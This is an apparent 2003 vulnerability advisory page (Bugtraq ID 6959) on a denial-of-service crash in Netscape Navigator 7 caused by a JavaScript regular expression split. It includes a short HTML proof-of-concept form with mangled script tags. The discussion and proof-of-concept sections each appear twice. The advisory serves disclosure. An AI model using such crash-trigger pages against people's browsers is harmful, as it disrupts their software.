Netscape JavaScript Regular Expression Denial Of Service Vulnerability
BID:6959
Info
Netscape JavaScript Regular Expression Denial Of Service Vulnerability
| Bugtraq ID: | 6959 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 25 2003 12:00AM |
| Updated: | Feb 25 2003 12:00AM |
| Credit: | Discovery of this vulnerability has ben credited to: "dwm" <[email protected]>. |
| Vulnerable: |
Netscape Navigator 7.0 |
| Not Vulnerable: | |
Discussion
Netscape JavaScript Regular Expression Denial Of Service Vulnerability
It has been reported that Netscape based browsers may be vulnerable to a denial of service condition when executing certain JavaScript methods.
If a malicious page containing a specially crafted JavaScript regular expression method is viewed the browser reportedly becomes un-stable this may result in the critical failure of an affected browser.
This vulnerability was reported for Netscape version 7. It is not known if previous versions are also affected.
It has been reported that Netscape based browsers may be vulnerable to a denial of service condition when executing certain JavaScript methods.
If a malicious page containing a specially crafted JavaScript regular expression method is viewed the browser reportedly becomes un-stable this may result in the critical failure of an affected browser.
This vulnerability was reported for Netscape version 7. It is not known if previous versions are also affected.
Exploit / POC
Netscape JavaScript Regular Expression Denial Of Service Vulnerability
The following proof of concept code is was supplied by "dwm" <[email protected]>:
<html>
<head>
<title>test</title>
<--script-- language="JavaScript">
function reformatDate(someDate) {
var tokens = someDate.split(/(\/|-)/);
if (tokens[1].length == 1) tokens[1] = "0" + tokens[1];
if (tokens[0].length == 1) tokens[0] = "0" + tokens[0];
var result = tokens[2] + tokens[1] + tokens[0];
alert(result);
//return result;
}
</--script-->
</head>
<body>
<form action="" method="GET" name="form1" onSubmit="return reformatDate(this.dt.value);">
MM/DD/YYYY - <input type=text name=dt>
<input type=submit>
</form>
</body>
</html>
The following proof of concept code is was supplied by "dwm" <[email protected]>:
<html>
<head>
<title>test</title>
<--script-- language="JavaScript">
function reformatDate(someDate) {
var tokens = someDate.split(/(\/|-)/);
if (tokens[1].length == 1) tokens[1] = "0" + tokens[1];
if (tokens[0].length == 1) tokens[0] = "0" + tokens[0];
var result = tokens[2] + tokens[1] + tokens[0];
alert(result);
//return result;
}
</--script-->
</head>
<body>
<form action="" method="GET" name="form1" onSubmit="return reformatDate(this.dt.value);">
MM/DD/YYYY - <input type=text name=dt>
<input type=submit>
</form>
</body>
</html>
References
Netscape JavaScript Regular Expression Denial Of Service Vulnerability
References:
References:
- Netscape Homepage (Netscape)
- Re: Netscape 6/7 crashes by a simple stylesheet... ("dwm"